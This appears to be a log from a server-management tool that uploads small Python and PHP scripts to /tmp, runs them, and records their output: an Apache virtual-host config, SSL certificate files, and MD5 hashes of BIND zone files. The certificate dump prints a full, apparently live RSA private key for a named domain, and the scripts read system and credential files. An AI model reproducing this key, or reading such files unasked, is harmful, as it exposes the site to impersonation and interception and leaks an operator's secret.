        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-03-08 19:00:51: 

chmod 755 /tmp/pkp925231; /tmp/pkp925231; rm /tmp/pkp925231

2026-03-08 19:00:51: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf	1479

<VirtualHost *:80>
    ServerName	caminoconfessions.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/drewmarshall_caminoconfessions
    <Directory /var/www/drewmarshall_caminoconfessions>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/caminoconfessions_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/caminoconfessions_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	caminoconfessions.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/0d4c12a0a7fdfe4c1c8d0a1e449bbfe7.crt
    DocumentRoot	/var/www/drewmarshall_caminoconfessions
    <Directory /var/www/drewmarshall_caminoconfessions>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/caminoconfessions_secure_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/caminoconfessions_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-03-08 19:00:51: 

PUT: /tmp/pkp536387

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/0d4c12a0a7fdfe4c1c8d0a1e449bbfe7.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-03-08 19:00:51: 

chmod 755 /tmp/pkp536387; /tmp/pkp536387; rm /tmp/pkp536387

2026-03-08 19:00:51: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/0d4c12a0a7fdfe4c1c8d0a1e449bbfe7.crt	5389
08:d4:31:79:52:d7:ad:98:94:42:8b:1a:ff:78:63:38

-----BEGIN CERTIFICATE-----
MIIFFjCCA/6gAwIBAgISBlZhRrBKFPozbxVDNUo6S45eMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMzA4MTgwMjE5WhcNMjYwNjA2MTgwMjE4WjAsMSowKAYDVQQD
EyFjYW1pbm9jb25mZXNzaW9ucy5kcmV3bWFyc2hhbGwuY2EwggEiMA0GCSqGSIb3
DQEBAQUAA4IBDwAwggEKAoIBAQCqgtzlHBuaTfTzjDXXcLKDf5EsaiUinYoQceMc
HebVxGNJRSufkuRb8jXVdY2YTsu4etopPp2IzS6SThHWWvlh5fBKJ3Li6+fdh9/L
thmY8qJdZxjPf023P2sAsaR7y9tfZ/o4KenJzDjT2bWfp+3IalTQzhP8on+s1DQi
PwlslprK1KtSLkISYu0U7OH2yNJCwH6Oquf2huRyib5VS5MZOWM/R4v9TMxUmrXf
ggkWS5ir88aA5U80Cxt/X6CPiGTaalVdZdnEkt8qmJ5J3TqxBUBpvD/714uWhMT1
sxMPuJpu46VrVFzvfhqdtDLZNt7J/NyLbvA1cY34r8z8d/UZAgMBAAGjggIpMIIC
JTAOBgNVHQ8BAf8EBAMCBaAwEwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/
BAIwADAdBgNVHQ4EFgQU6oYp+gf9ViC6FdOcObe5lAf5V5kwHwYDVR0jBBgwFoAU
56ufDywzoFPTXk94yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAC
hhdodHRwOi8vcjEzLmkubGVuY3Iub3JnLzAsBgNVHREEJTAjgiFjYW1pbm9jb25m
ZXNzaW9ucy5kcmV3bWFyc2hhbGwuY2EwEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYD
VR0fBCcwJTAjoCGgH4YdaHR0cDovL3IxMy5jLmxlbmNyLm9yZy85NS5jcmwwggEG
BgorBgEEAdZ5AgQCBIH3BIH0APIAdwDLOPcViXyEoURfW8Hd+8lu8ppZzUcKaQWF
sMsUwxRY5wAAAZzO0tXJAAAEAwBIMEYCIQCiGtAhxBiyAhAQSM/cBzt/j7EnkqSS
vKia3WnuGV0TPQIhAOOHOzK6Xy3WD3C55C2UmIItUhS1qHxBnDvwoAjd2SeJAHcA
lpdkv1VYl633Q4doNwhCd+nwOtX2pPM2bkakPw/KqcYAAAGcztLWCAAABAMASDBG
AiEA7gFKVW2h8JmLtx7y9YAjo6U8cKU60taF+0F7VNvwSygCIQD7CuWzzvgvpwwF
3JU7yg4+tAbSXsRWV2tR7OYIUivIETANBgkqhkiG9w0BAQsFAAOCAQEAmiKLG/Z/
gvH2aL+RPjakgtlm/wIvIOFdoJ5vAHD9a7B7gDVSXmLiqSyD8ruk111RsbQ848Ei
l35N839UqshPJs2ETw/mWi8dG02Ew/sn0yHBrjLIIXkOQk1BJCSP07KjK1z4iE6s
MxEEXI5T3+KkJznMwR0fmYUUT9eVZ2zDZJm1SYDqK0nYkrmTyzdoLDr/uCw10/n/
b2UgG4ULC3retBYONR5YfQFyj55+1+eOkWU+uQxQ+XsvK/WBJSRIOpZeAsi7jZ9T
lRRIrz8pF0ZQ00K044fi5vJ0d4PgnIzmRCQ7duFDRbeTZcutxzcYZHLWjiSfF8uw
IotlxgbLHfONxw==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCqgtzlHBuaTfTz
jDXXcLKDf5EsaiUinYoQceMcHebVxGNJRSufkuRb8jXVdY2YTsu4etopPp2IzS6S
ThHWWvlh5fBKJ3Li6+fdh9/LthmY8qJdZxjPf023P2sAsaR7y9tfZ/o4KenJzDjT
2bWfp+3IalTQzhP8on+s1DQiPwlslprK1KtSLkISYu0U7OH2yNJCwH6Oquf2huRy
ib5VS5MZOWM/R4v9TMxUmrXfggkWS5ir88aA5U80Cxt/X6CPiGTaalVdZdnEkt8q
mJ5J3TqxBUBpvD/714uWhMT1sxMPuJpu46VrVFzvfhqdtDLZNt7J/NyLbvA1cY34
r8z8d/UZAgMBAAECggEAGrqn6Qx2cUJuNy2QFSU3/rAlMEq1Zo8+oORRf0tar8D4
9Xfv5jRvMtCtyrgCSdF0UweDInsL0/GiLtIpLqqVNFkIyX8UnejwMISHuxXhPl4u
wKiUNZbVtnetDO9MAxIKYhLZISvE19r5P5B9zbjT6BpvEEp1zKEmlY+wWnv6PLi/
BgjNkCV51ELOiO18Gq9sKdaTwUDk1SDy8FWBDfrg+zhjozeeNPhoTF4y2mKkEi5f
SS9gpc5p/Q1w6zgZS2s1jyqd136TEnA+UIUwZii71EGDIM5nRdO6IGZfZotaLbKU
h/oOR5ejiNJaxqlQgh9MfqL92T5LaOSBs+YkocF1zwKBgQDwZApQeARlpnvvNWJr
GRdRJ1bkjglHD/75BJAoxtNeKpItCUHOCxvwdGStbbFg244azFE1EAwYOpiuTyBz
jrRPHU0xgQ14m5vWRUClG2eQM2SfXHb45aET+lSHgVa2Nu/+LjM7Jnqun5mSf0Io
C3pBVtvoQmFUFfnhoSWu/QH+5wKBgQC1lTr4tkeqBJlwIYyoBqI+2tSMo07VsJNO
Qv3ynW9Mo8OPYRAPY9D3RE8FTYJNVM5stAxtDiUVjA593g2AHk6SfwZqCnV+wBmj
5QtmoJIMZUxrhN226kgPkoHz5bI56OyjBEJ36HrDZOOoOdqCOh/f+KE8JPe3FH4z
EOl0Wvvr/wKBgQDZ2N8cA1eAwvnnUoqpIajmy27MWwd/Vbir9H2r5lrgKFYl6BCx
Z5HfO6uNGy4252EFWglxu+QqBNgehuiSsE0osRYmeZw6o1H7QPEPbyFQJbLXVFUg
xABQeXgnAIgTQwAEadvVi85793iVsSvD3HrjQZKyDY3kRLIZzg63YONxGwKBgAv0
nmRfxAoqsVuTqeoqPaZ7zADSg89IB/rgKE5AFWLraWXYUzFgNhMBuV41Az5KNiks
FaFcjA6GITIiW6sy06OLn4V92MyWo1mKLBz+t37/cG+n2N1BQatczxea6QgtEN+O
2T2B3gtdaivaW0u1vgGGIj+Og4zXWZPNKkHR98JLAoGAZs77pJb6rlZy6Biq+jPJ
OnlBWYT3VFgbCC09Imc9thXj88EEkn5LcVIn84jdl3uT9vyh5vvkozUMi+Wc+hiN
PkeR9dhOMvmwz/4+tT7wLFQ6rOKsxtmq5KOUey78umoqf+C+bEdkjTupc7KxZAA5
LyGW5AYaf9PjSuY8TyQCTtQ=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2026-03-08 19:09:09: Establishing a connection
2026-03-08 19:09:09: 

PUT: /tmp/pkp499116

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-03-08 19:09:10: 

runuser -l bind -s /bin/bash -c '/tmp/pkp499116; rm /tmp/pkp499116'

2026-03-08 19:09:10: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 5c27bd546fb502ce3d4635f83c2fb039
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
